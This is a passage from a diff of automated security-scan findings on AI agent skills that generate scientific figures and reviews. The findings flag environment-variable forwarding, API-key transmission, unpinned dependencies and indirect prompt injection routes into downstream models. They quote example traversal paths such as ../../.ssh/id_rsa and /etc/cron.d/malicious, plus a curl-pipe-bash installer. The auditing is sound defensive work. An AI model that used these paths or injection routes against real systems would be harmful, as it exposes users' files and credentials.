`LLM_SKILL_DISCOVERY_ABUSE` — Skill Description References Non-Existent Competing Skills by Name- > The skill description explicitly names and describes two competing/related skills ('scientific-brainstorming' and 'hypogenic') to guide users toward or away from this skill. This is a form of capability framing that could manipulate skill selection behavior. The description also references 'Nano Banana Pro' in the instructions (a branded product name) which may not correspond to any real product, potentially misleading users about the underlying technology.+- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Potential Resource Exhaustion via Iterative API Calls+ > The generate_iterative method makes multiple sequential API calls (up to 2 iterations of image generation + quality review per iteration = up to 4 API calls per invocation). While the maximum is capped at 2 iterations, the SKILL.md instructions mandate that 'Every hypothesis generation report MUST include at least 1-2 AI-generated figures' and 'Prefer 2-3 figures for comprehensive reports'. This means a single hypothesis generation task could trigger 8-12 external API calls, each with a 120-second timeout, potentially consuming significant compute resources and API credits without explicit user confirmation.> File: `SKILL.md:30`- > **Remediation:** Remove references to specific competing skill names from the description if they are not part of the same verified skill ecosystem. Clarify the actual underlying technology (openrouter.ai API with specific model names) rather than using marketing brand names like 'Nano Banana Pro'.+ > **Remediation:** Make figure generation optional and require explicit user confirmation before making external API calls. Display estimated API costs before proceeding. Remove the 'MANDATORY' language that forces automatic external API consumption.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Environment Variable Access Combined with External Network Calls- > The script generate_schematic_ai.py reads the OPENROUTER_API_KEY environment variable and passes it to external API calls. While this is nominally for authentication, the pattern of reading environment variables and transmitting them to external servers represents a data exfiltration risk. The script also calls os.environ.copy() in generate_schematic.py, which copies the ENTIRE environment (including all secrets, tokens, and credentials present) and passes it to a subprocess. This means ALL environment variables — not just OPENROUTER_API_KEY — are forwarded to the child process and potentially exposed.- > File: `scripts/generate_schematic.py:107`- > **Remediation:** Instead of copying the entire environment, construct a minimal environment dict containing only the variables strictly needed by the subprocess. For example: env = {'PATH': os.environ.get('PATH',''), 'OPENROUTER_API_KEY': api_key}. This prevents inadvertent forwarding of AWS credentials, SSH keys, database passwords, and other secrets present in the environment.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Full Environment Variable Harvesting Passed to Subprocess+ > In generate_schematic.py, the code calls os.environ.copy() to copy the entire process environment and passes it to a subprocess. This means all environment variables present in the agent's environment (which may include AWS credentials, SSH keys, tokens, database passwords, and other secrets) are passed to the child process. Combined with the network calls in generate_schematic_ai.py, this creates a cross-file exfiltration chain where environment secrets could be accessed and transmitted.+ > File: `scripts/generate_schematic.py:113`+ > **Remediation:** Instead of passing the full environment, construct a minimal environment dict containing only the variables required by the child script (e.g., OPENROUTER_API_KEY and PATH). Use env={"OPENROUTER_API_KEY": api_key, "PATH": os.environ.get("PATH", "")} rather than os.environ.copy().-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Hardcoded External Referrer Header Leaks Internal Tool Identity- > The generate_schematic_ai.py script hardcodes an HTTP-Referer header value of 'https://github.com/scientific-writer' and an X-Title of 'Scientific Schematic Generator' in all API requests. This reveals the identity and nature of the agent tool to the external API provider, which could be used for tracking, profiling, or targeting of users of this skill.- > File: `scripts/generate_schematic_ai.py:193`- > **Remediation:** Remove or make configurable the HTTP-Referer and X-Title headers. Do not hardcode identifying information that reveals the agent's identity or the user's toolchain to third-party services.+- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — Unpinned External Dependency (requests library)+ > The generate_schematic_ai.py script imports the 'requests' library without any version pinning or integrity verification. The script also attempts to import 'dotenv' (python-dotenv) without version pinning. If these packages are compromised via a supply chain attack or if a malicious version is installed, the network communication code could be subverted to exfiltrate data to attacker-controlled servers.+ > File: `scripts/generate_schematic_ai.py:20`+ > **Remediation:** Pin dependency versions in a requirements.txt file (e.g., requests==2.31.0). Consider using a lockfile and verifying package integrity with hashes.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Cross-File Exfiltration Chain: User Prompt Sent to External AI API- > The two-script chain (generate_schematic.py → generate_schematic_ai.py) takes user-supplied prompt text and transmits it verbatim to an external third-party service (openrouter.ai). The prompt may contain sensitive scientific data, proprietary research observations, or confidential hypothesis content that the user did not intend to share externally. The SKILL.md instructions mandate use of this script for every hypothesis report, making this data transmission unavoidable and non-optional for users of the skill.- > File: `scripts/generate_schematic_ai.py:200`- > **Remediation:** Clearly disclose in SKILL.md that user prompts and generated images are transmitted to openrouter.ai (a third-party service). Make schematic generation optional rather than mandatory. Provide a local/offline fallback. Obtain explicit user consent before transmitting any data externally.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Exfiltration via External Network Calls+ > The scripts read the OPENROUTER_API_KEY environment variable and transmit it to external servers (openrouter.ai). While the stated purpose is AI image generation, the code also reads other environment variables via os.environ.copy() and passes the full environment to subprocess calls. The API key is sent in HTTP Authorization headers to an external service. Additionally, the HTTP-Referer header is hardcoded as 'https://github.com/scientific-writer', which is a deceptive/spoofed referrer that misrepresents the origin of requests.+ > File: `scripts/generate_schematic_ai.py:175`+ > **Remediation:** Validate that the API key is only used for its stated purpose. Remove the spoofed HTTP-Referer header. Avoid passing the full os.environ.copy() to subprocess calls; instead pass only the specific environment variables needed.-- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — User-Controlled Prompt Passed Directly to External AI Model Without Sanitization- > The user's diagram description prompt is passed directly and without sanitization into the AI image generation API request. If the external model (Nano Banana 2 / Gemini) has tool-use or code-execution capabilities, a maliciously crafted prompt could attempt to manipulate the external model's behavior. Additionally, the review prompt embeds the original user prompt verbatim into a larger prompt sent to a second model (Gemini 3.1 Pro Preview), creating a secondary injection surface.- > File: `scripts/generate_schematic_ai.py:280`- > **Remediation:** Sanitize or quote user-provided prompt content before embedding it into structured prompts sent to external models. Consider using a structured format (e.g., JSON) to separate user content from system instructions when constructing API payloads.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Deceptive HTTP-Referer Header Spoofing External Identity+ > The generate_schematic_ai.py script hardcodes a spoofed HTTP-Referer header value of 'https://github.com/scientific-writer' in all API requests. This misrepresents the origin of the requests to the OpenRouter API, potentially to bypass rate limiting, access controls, or attribution tracking. This is a form of identity deception in network communications.+ > File: `scripts/generate_schematic_ai.py:176`+ > **Remediation:** Remove the spoofed HTTP-Referer header or replace it with an accurate identifier representing the actual skill/tool making the request.-- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Retry Loop with External API Calls- > The generate_iterative method loops up to 'iterations' times (default 2, max enforced at 2), making multiple expensive API calls per invocation. While the maximum is capped at 2, each iteration makes at least 2 API calls (generation + review), and the review call loads the full generated image as base64 into memory and transmits it. For large images, this could result in significant memory consumption and network bandwidth usage. The cap enforcement is only in the CLI wrapper, not in the core class itself.- > File: `scripts/generate_schematic_ai.py:310`- > **Remediation:** Add rate limiting and exponential backoff between API calls. Enforce the iteration cap in the ScientificSchematicGenerator class itself (not just the CLI), so programmatic callers cannot bypass it. Add a timeout for the overall generation process.+- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — User-Controlled Input Passed Directly to External API Without Sanitization+ > The user's diagram description prompt is passed directly from the command line argument into the API request payload without any sanitization or validation. A malicious user could craft a prompt that attempts to manipulate the AI image generation model or inject instructions into the review model (Gemini 3.1 Pro Preview), potentially causing unexpected behavior or indirect prompt injection into the downstream AI models.+ > File: `scripts/generate_schematic_ai.py:390`+ > **Remediation:** Validate and sanitize user input before passing to external APIs. Consider length limits, character filtering, and content validation. Add a disclaimer that user prompts are sent to external AI services.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/hypothesis-generation/scripts/generate_schematic.py@@ -564,46 +591,36 @@- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 2 files> Environment variable access with network calls in scripts/generate_infographic.py, scripts/generate_infographic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_infographic_ai.py, scripts/generate_infographic.py+ > **Remediation:** Review data flow across files: scripts/generate_infographic.py, scripts/generate_infographic_ai.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 2 files> Multi-file exfiltration chain detected: scripts/generate_infographic.py, scripts/generate_infographic_ai.py collect data → scripts/generate_infographic_ai.py → scripts/generate_infographic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_infographic_ai.py, scripts/generate_infographic.py--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Capability Inflation - References Non-Existent 'Nano Banana Pro' AI Model- > The skill's description and documentation prominently feature 'Nano Banana Pro AI' as the infographic generation engine. However, the actual code uses 'google/gemini-3-pro-image-preview' via OpenRouter. 'Nano Banana Pro' does not appear to be a real AI model - this is a fabricated/fictional product name used in marketing descriptions. This misrepresents the skill's actual capabilities and the underlying technology being used.- > File: `SKILL.md:1`- > **Remediation:** Update the skill description and documentation to accurately reflect the actual AI models being used (Gemini via OpenRouter). Remove references to fictional product names that could mislead users about the technology stack.+ > **Remediation:** Review data flow across files: scripts/generate_infographic.py, scripts/generate_infographic_ai.py-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — API Key Passed via Environment Variable to Subprocess- > In generate_infographic.py, the API key is retrieved from the environment or CLI argument and then explicitly set in the subprocess environment before calling generate_infographic_ai.py. While the code comments note this avoids exposure in process listings, the key is still propagated through os.environ.copy() and passed to a child process. This is a standard pattern, but the key is also accepted via --api-key CLI flag which could expose it in process listings on multi-user systems.- > File: `scripts/generate_infographic.py:175`- > **Remediation:** Avoid accepting API keys via CLI flags (--api-key) as these appear in process listings. Rely exclusively on environment variables. Document that the key should only be set via environment variable, not command-line argument.+- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Allowed-Tools Declaration Includes Bash but Primary Script Uses subprocess+ > The manifest declares allowed-tools as [Read, Write, Edit, Bash]. The generate_infographic.py script uses subprocess.run() to invoke generate_infographic_ai.py as a child process. While Bash is declared, the subprocess call passes the full environment (os.environ.copy()) including all environment variables to the child process, which could expose sensitive environment variables beyond just OPENROUTER_API_KEY.+ > File: `scripts/generate_infographic.py:155`+ > **Remediation:** Instead of passing the full environment copy, construct a minimal environment with only the required variables. This reduces the risk of inadvertently exposing other sensitive environment variables to the subprocess.-- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Research Data from External Sources Incorporated into AI Prompts Without Validation- > When --research flag is used, the skill calls Perplexity Sonar Pro to gather external data, then directly incorporates the raw research response into the AI generation prompt via _enhance_prompt_with_research(). This creates an indirect prompt injection vector: malicious or manipulated content returned by the research API could contain instructions that influence the downstream Nano Banana Pro image generation model.- > File: `scripts/generate_infographic_ai.py:248`- > **Remediation:** Treat research API responses as untrusted external data. Sanitize or parse the research content before embedding it into generation prompts. Consider using a structured extraction step that pulls only specific data fields (numbers, dates, facts) rather than embedding raw text responses.+- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Capability Inflation - References Non-Existent 'Nano Banana Pro AI' Model+ > The skill's description and instructions prominently feature 'Nano Banana Pro AI' as the infographic generation engine, but the actual code uses 'google/gemini-3-pro-image-preview' via OpenRouter. 'Nano Banana Pro' does not appear to be a real AI model - this is a fabricated/fictional product name used in marketing-style descriptions. This misrepresents the actual capabilities and technology being used, potentially misleading users about what they are invoking.+ > File: `scripts/generate_infographic_ai.py:196`+ > **Remediation:** The skill description and instructions should accurately name the AI models being used (Gemini models via OpenRouter) rather than using a fictional brand name 'Nano Banana Pro AI'. This ensures users understand what services they are actually invoking and what data is being sent where.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Context Images Loaded from User-Specified Paths Without Path Traversal Validation- > The --context-image argument accepts arbitrary file paths that are read from disk and base64-encoded into API requests. While the code checks if the file exists, there is no validation to prevent path traversal attacks (e.g., ../../.ssh/id_rsa) or restrict access to files outside the intended working directory. This could allow reading sensitive files from the user's system and sending them to external AI APIs.- > File: `scripts/generate_infographic_ai.py:363`- > **Remediation:** Validate that context image paths are within an allowed directory (e.g., current working directory or a designated images folder). Use Path.resolve() and check that the resolved path starts with an allowed base directory. Restrict file extensions to known image types.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — API Key Transmitted in HTTP Headers to External Service+ > The skill reads the OPENROUTER_API_KEY environment variable and transmits it in HTTP Authorization headers to openrouter.ai. While this is the intended use of an API key, the key is also passed through subprocess environment variables from generate_infographic.py to generate_infographic_ai.py. The HTTP-Referer header is hardcoded to 'https://github.com/scientific-writer', which is a deceptive/misleading header value that misrepresents the origin of requests.+ > File: `scripts/generate_infographic_ai.py:270`+ > **Remediation:** The HTTP-Referer header should accurately reflect the actual origin. Consider documenting the external API calls clearly in the skill manifest. Ensure the API key is only used for its intended purpose and not logged or stored.-- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — User-Controlled Prompt Passed Directly to AI Generation Without Sanitization- > The user-supplied prompt string is passed directly into AI generation requests without any sanitization or length limits. In generate_infographic_ai.py, the user prompt is embedded into larger prompts sent to external AI models. A malicious user could craft prompts designed to manipulate the AI generation models (Nano Banana Pro / Gemini) into producing harmful content or bypassing content policies of those downstream models.- > File: `scripts/generate_infographic_ai.py:390`- > **Remediation:** Implement input validation and length limits on user prompts. Consider sanitizing or escaping special characters. Add content filtering before passing user input to downstream AI models.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — User Prompt Content Sent to External Research API (Perplexity Sonar)+ > When the --research flag is used, the user's infographic prompt is sent to Perplexity Sonar Pro (perplexity/sonar-pro) via OpenRouter. This is a third-party service beyond the primary OpenRouter API. The skill does not clearly disclose in its manifest or instructions that user content may be sent to Perplexity's servers. Research results including any sensitive topic data are also saved to disk as JSON files.+ > File: `scripts/generate_infographic_ai.py:310`+ > **Remediation:** Clearly disclose in the skill description that user prompts may be sent to Perplexity Sonar when --research is used. Consider adding a confirmation step before sending data to additional third-party services.- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Iteration with External API Calls- > The generate_iterative() method loops up to `iterations` times (default 3, user-configurable via --iterations), making multiple expensive API calls per iteration (generation + review). While there is a maximum iterations parameter, there is no rate limiting, cost cap, or timeout guard beyond the per-request 120-second timeout. A user could set a high iteration count causing excessive API usage and cost.- > File: `scripts/generate_infographic_ai.py:400`- > **Remediation:** Add a reasonable maximum cap on iterations (e.g., max 5) that cannot be overridden by user input. Consider adding cost estimation warnings and requiring explicit confirmation for high iteration counts.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Research and Review Log Files May Contain Sensitive Prompt Data- > The skill writes detailed JSON log files including the full user prompt, all iteration critiques, research data, and API responses to disk (e.g., {name}_review_log.json, {name}_research.json). These files are written to the output directory without any access controls. If the output directory is shared or publicly accessible, sensitive information about the user's queries and data could be exposed.- > File: `scripts/generate_infographic_ai.py:450`- > **Remediation:** Inform users that log files containing their prompts and research data are written to disk. Consider making log file generation opt-in (--save-log flag) rather than always-on. Ensure log files are written with appropriate file permissions.+ > The iterative refinement loop calls external AI APIs (image generation + review) up to N times per invocation. While there is a configurable --iterations parameter defaulting to 3, there is no rate limiting, cost cap, or timeout beyond the per-request 120-second timeout. A user could set --iterations to a large number, causing excessive API usage and associated costs.+ > File: `scripts/generate_infographic_ai.py:430`+ > **Remediation:** Add a reasonable maximum cap on iterations (e.g., max 5) that cannot be overridden by user input. Consider adding cost estimation or warnings for high iteration counts.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/infographics/scripts/generate_infographic.py@@ -624,41 +641,45 @@- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 2 files> Environment variable access with network calls in scripts/generate_schematic.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 2 files> Multi-file exfiltration chain detected: scripts/generate_schematic.py, scripts/generate_schematic_ai.py collect data → scripts/generate_schematic_ai.py → scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Skill Description Referencing Multiple External Skills- > The SKILL.md description and instructions repeatedly reference and depend on other skills (scientific-schematics, Nano Banana Pro, generate-image) without clearly documenting these dependencies in the manifest. The skill claims to orchestrate these external tools as part of its standard workflow, potentially activating broader capabilities than declared. The manifest only declares allowed-tools: Read Write Edit Bash but the skill orchestrates Python scripts that make external API calls.- > File: `SKILL.md`- > **Remediation:** Add Python to allowed-tools since Python scripts are executed. Document external skill dependencies in the manifest. Clarify that the skill makes external API calls to OpenRouter.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Skill Description and Undeclared External Service Dependencies+ > The skill description claims to 'Create professional research posters in LaTeX' but the actual workflow heavily depends on external AI services (OpenRouter API, Google Gemini models) that are not disclosed in the manifest. The skill silently requires an OPENROUTER_API_KEY and makes paid API calls to external services. Users activating this skill for LaTeX poster creation may not be aware they are authorizing external API calls and incurring costs. The manifest does not declare network access requirements or external service dependencies.+ > **Remediation:** Update the skill description and manifest to explicitly disclose: 1) External API service dependencies (OpenRouter, Google Gemini). 2) Required environment variables (OPENROUTER_API_KEY). 3) That API calls will be made and may incur costs. 4) Add a compatibility note about network access requirements.-- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Allowed-Tools Declaration Missing Python Despite Python Script Execution- > The manifest declares allowed-tools as [Read, Write, Edit, Bash] but the skill includes and instructs the agent to execute Python scripts (generate_schematic.py, generate_schematic_ai.py). The Bash scripts invoke Python via subprocess. This is a minor violation of the declared tool restrictions - Python execution is not listed but is clearly part of the intended workflow.- > File: `SKILL.md`- > **Remediation:** Add Python to the allowed-tools list in the YAML manifest to accurately reflect the skill's actual tool usage.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Exfiltration via Environment Variable and External Network Calls+ > The generate_schematic.py and generate_schematic_ai.py scripts read the OPENROUTER_API_KEY environment variable and transmit it as a Bearer token in HTTP Authorization headers to an external API endpoint (https://openrouter.ai/api/v1). While OpenRouter is a legitimate AI routing service, the pattern of reading sensitive credentials from the environment and sending them over the network represents a data exfiltration risk. The API key is passed between scripts via environment variable propagation (os.environ.copy()), creating a cross-file credential chain. If the endpoint or the prompt content were ever manipulated (e.g., via indirect prompt injection in user-supplied diagram descriptions), the API key could be exposed or misused.+ > File: `scripts/generate_schematic.py`+ > **Remediation:** 1. Validate that the API endpoint URL is hardcoded and cannot be overridden by user input. 2. Scope the environment copy to only pass the specific required variable rather than the full environment (os.environ.copy()). 3. Consider using a secrets manager rather than environment variables. 4. Add input sanitization on user-supplied prompts before they are sent to the external API to prevent prompt injection via the diagram description field.- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Subprocess Execution with User-Controlled Arguments- > The generate_schematic.py wrapper script constructs a subprocess command using user-supplied arguments (prompt, output path, doc-type, iterations) and passes them directly to generate_schematic_ai.py via subprocess.run(). While the arguments are passed as a list (not shell=True), the user-controlled prompt string is passed as a positional argument to the subprocess. A malicious prompt containing shell metacharacters could potentially cause issues depending on how the downstream script processes it, though the list-based invocation mitigates direct shell injection.- > File: `scripts/generate_schematic.py`- > **Remediation:** This is relatively low risk due to list-based subprocess invocation. However, validate and sanitize the prompt argument before passing to subprocess. Consider adding length limits on the prompt argument.+ > In generate_schematic.py, the user-supplied prompt argument (args.prompt) and output path (args.output) are passed directly to a subprocess command without sanitization. While subprocess.run is used (not shell=True), the arguments are passed as a list which mitigates shell injection. However, the output path (args.output) is not validated and could be used to write files to arbitrary locations on the filesystem (path traversal). Combined with the allowed-tools declaration including Bash and Write, this could allow writing to sensitive locations.+ > File: `scripts/generate_schematic.py:88`+ > **Remediation:** 1. Validate and sanitize the output path to ensure it stays within an expected directory (e.g., use Path.resolve() and check it is within the figures/ subdirectory). 2. Validate the prompt argument for suspicious content before passing to subprocess. 3. Consider using pathlib to enforce output path constraints.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Exfiltration via Environment Variable and Network Transmission- > The generate_schematic_ai.py script reads the OPENROUTER_API_KEY from environment variables and transmits it to an external API endpoint (https://openrouter.ai/api/v1). While the stated purpose is legitimate AI image generation, the pattern of reading sensitive credentials from the environment and sending them over the network represents a data exfiltration risk. The API key is passed in HTTP Authorization headers to an external service, and the script also reads from .env files in the current working directory or script directory. If the OpenRouter endpoint or the skill itself were compromised, this would expose the API key.- > File: `scripts/generate_schematic_ai.py`- > **Remediation:** Ensure the OpenRouter API key is scoped to minimum necessary permissions. Consider validating the endpoint URL before transmission. Document clearly that the API key will be sent to openrouter.ai. Avoid reading from .env files in arbitrary directories.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Full Environment Variable Exposure to Subprocess+ > In generate_schematic.py, the entire current process environment is copied and passed to the subprocess: env = os.environ.copy(). This means all environment variables present in the agent's environment (which may include AWS credentials, SSH keys, database passwords, other API tokens, etc.) are passed to the child process. While the child process is a trusted Python script within the same package, this pattern unnecessarily exposes all secrets to the subprocess and any libraries it loads.+ > File: `scripts/generate_schematic.py:95`+ > **Remediation:** Instead of copying the full environment, construct a minimal environment containing only the variables needed: env = {"OPENROUTER_API_KEY": api_key, "PATH": os.environ.get("PATH", "")}. This limits credential exposure to only what is necessary.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Sensitive Data Written to Disk in Review Log Files- > The generate_schematic_ai.py script saves a JSON review log file (e.g., figures/workflow_review_log.json) that contains the full generation results including prompts, critique text, scores, and iteration details. While this does not directly exfiltrate credentials, it persists potentially sensitive research content and AI interaction history to disk in a predictable location. The log includes the full user prompt and AI critique, which could contain sensitive research details.+- **🟠 HIGH** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection via User-Controlled Diagram Descriptions Sent to External AI+ > The generate_schematic_ai.py script takes a user-supplied prompt string and embeds it directly into requests sent to external AI models (google/gemini-3.1-flash-image-preview and google/gemini-3.1-pro-preview via OpenRouter). The user prompt is concatenated with system guidelines and sent verbatim: 'USER REQUEST: {user_prompt}'. A malicious user could craft a diagram description containing prompt injection payloads targeting the downstream AI models, potentially causing them to generate harmful content, exfiltrate information embedded in the review response, or manipulate the quality scoring to always pass. The review model response is also parsed and acted upon (score extraction, needs_improvement flag), creating a secondary injection surface.> File: `scripts/generate_schematic_ai.py`- > **Remediation:** Make review log generation optional (e.g., --save-log flag). Warn users that logs contain full prompt and critique history. Consider not logging by default or providing a --no-log option.+ > **Remediation:** 1. Sanitize and validate user-supplied prompts before embedding them in AI requests - strip or escape instruction-like patterns. 2. Use structured API parameters (system vs user roles) to clearly separate system instructions from user content. 3. Do not use AI-generated text (review responses) directly for control flow decisions without validation bounds checking. 4. Implement a prompt length limit and content filter on user inputs.-- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External API Dependency and Unverified Model Identifiers- > The generate_schematic_ai.py script hardcodes model identifiers (google/gemini-3.1-flash-image-preview and google/gemini-3.1-pro-preview) that are resolved at runtime by the OpenRouter API. These model identifiers could be changed or hijacked if OpenRouter's model registry is compromised or if the models are deprecated and replaced with different models. Additionally, the requests library is imported without version pinning, and the script installs no dependencies with pinned versions.- > File: `scripts/generate_schematic_ai.py`- > **Remediation:** Document the specific model versions expected. Consider adding model version validation. Pin the requests library version in requirements.txt. Add integrity checks on API responses.+- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Arbitrary File Write via Unvalidated Output Path+ > In generate_schematic_ai.py, the output_path parameter is used directly with Path() and mkdir(parents=True, exist_ok=True) without validation. A user-supplied output path like ../../.ssh/authorized_keys or /etc/cron.d/malicious could cause the script to create directories and write files to arbitrary locations. The script also writes a JSON review log file derived from the output path (base_name_review_log.json) and copies files using shutil.copy, all without path validation.+ > File: `scripts/generate_schematic_ai.py:265`+ > **Remediation:** 1. Validate that the resolved output path is within an expected base directory (e.g., figures/ relative to the working directory). 2. Use Path.resolve() and check the result starts with the expected base path. 3. Reject paths containing '..' components.++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Review Log Contains Sensitive Prompt Data Written to Disk+ > The generate_schematic_ai.py script writes a detailed JSON review log to disk containing the full user prompt, all AI-generated critique text, quality scores, and iteration history. This log (base_name_review_log.json) is written to the output directory without any access controls. If the user's prompt contained sensitive research data or proprietary information, this data is persisted to disk in plaintext alongside the generated figures.+ > File: `scripts/generate_schematic_ai.py:340`+ > **Remediation:** 1. Make review log generation opt-in (e.g., only with --verbose or --save-log flag). 2. Exclude the full prompt text from the log or truncate it. 3. Document that logs are created and inform users of their content.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/latex-posters/scripts/generate_schematic.py@@ -679,51 +700,46 @@- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 3 files> Environment variable access with network calls in scripts/generate_schematic.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py, scripts/verify_citations.py+ > **Remediation:** Review data flow across files: scripts/verify_citations.py, scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 3 files> Multi-file exfiltration chain detected: scripts/generate_schematic.py, scripts/generate_schematic_ai.py collect data → scripts/generate_schematic_ai.py → scripts/verify_citations.py, scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py, scripts/verify_citations.py--- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Python Dependency in Requirements- > The SKILL.md instructions specify 'pip install requests' without a version pin. The requests library is a critical dependency used for all citation verification and API calls. An unpinned dependency is vulnerable to supply chain attacks where a malicious version could be installed. This is particularly concerning given that the requests library is used to transmit API keys and make external network calls.- > File: `SKILL.md`- > **Remediation:** Pin the requests library to a specific verified version: 'pip install requests==2.31.0'. Consider using a requirements.txt file with hashed dependencies (pip install --require-hashes) for stronger supply chain security.+ > **Remediation:** Review data flow across files: scripts/verify_citations.py, scripts/generate_schematic.py, scripts/generate_schematic_ai.py-- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — Unauthorized Tool Use: Bash Tool Used for External CLI Installation- > The SKILL.md instructions direct the agent to install external CLI tools using curl piped to bash (curl -fsSL https://parallel.ai/install.sh | bash), which is a high-risk pattern. The allowed-tools field declares [Read, Write, Edit, Bash], so Bash is permitted, but executing arbitrary install scripts from external URLs via curl|bash is a significant supply chain and tool exploitation risk. This pattern can execute arbitrary code from a remote server.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Installation in Setup Instructions+ > The SKILL.md instructions specify installing dependencies without version pinning: 'pip install requests' and system tools via 'brew install pandoc' and 'apt-get install pandoc'. Unpinned dependencies are vulnerable to supply chain attacks where a compromised package version could be installed. The parallel-cli installation uses a curl-pipe-bash pattern which is a high-risk installation method.> File: `SKILL.md`- > **Remediation:** Replace curl|bash installation patterns with verified package manager installations with pinned versions. Use 'uv tool install parallel-web-tools[cli]==X.Y.Z' with a specific version pin. Verify package integrity with checksums before installation.+ > **Remediation:** Pin all Python dependencies to specific versions (e.g., 'pip install requests==2.31.0'). Avoid curl-pipe-bash installation patterns; instead provide checksums or use package managers with integrity verification. Document the expected versions of all system dependencies.-- **🔵 LOW** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection Risk via External Web Content Extraction- > The skill instructs the agent to use 'parallel-cli extract' to fetch full content from arbitrary URLs found during searches, including paper URLs and journal websites. Content fetched from external sources could contain embedded instructions that manipulate the agent's behavior during the literature review synthesis phase. The skill explicitly instructs: 'Use parallel-cli extract to fetch full content from promising URLs found during search to verify relevance before full-text screening.'- > File: `SKILL.md`- > **Remediation:** Instruct the agent to treat all externally fetched content as untrusted data only, not as instructions. Add explicit guidance in SKILL.md that content from external URLs should never be interpreted as skill instructions or override the review methodology. Consider sandboxing external content processing.--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims in Description- > The skill description claims to work with 'multiple academic databases (PubMed, arXiv, bioRxiv, Semantic Scholar, etc.)' and 'multiple citation styles (APA, Nature, Vancouver, etc.)'. The SKILL.md also mandates use of 'scientific-schematics' skill and 'parallel-web skill' as dependencies. These cross-skill dependencies are not declared in the manifest, and the description may inflate perceived capabilities by implying seamless integration with external services that require separate authentication (OpenRouter API key, parallel-cli auth).- > File: `SKILL.md`- > **Remediation:** Declare cross-skill dependencies explicitly in the manifest. Clarify in the description that external API keys (OpenRouter) and additional CLI tools (parallel-cli) are required. Avoid marking optional features as MANDATORY without noting the prerequisite dependencies.--- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Unvalidated File Path Arguments in Multiple Scripts- > Multiple scripts (search_databases.py, verify_citations.py, generate_pdf.py) accept file paths directly from command-line arguments without validation. In generate_pdf.py, the markdown_file path is passed directly to subprocess pandoc and xelatex commands. In verify_citations.py, the filepath is opened directly. An attacker who controls the file path argument could potentially cause path traversal or cause the agent to read/process unintended files.- > File: `scripts/generate_pdf.py`- > **Remediation:** Validate file paths to ensure they are within expected directories. Use Path.resolve() and check that the resolved path is within the skill's working 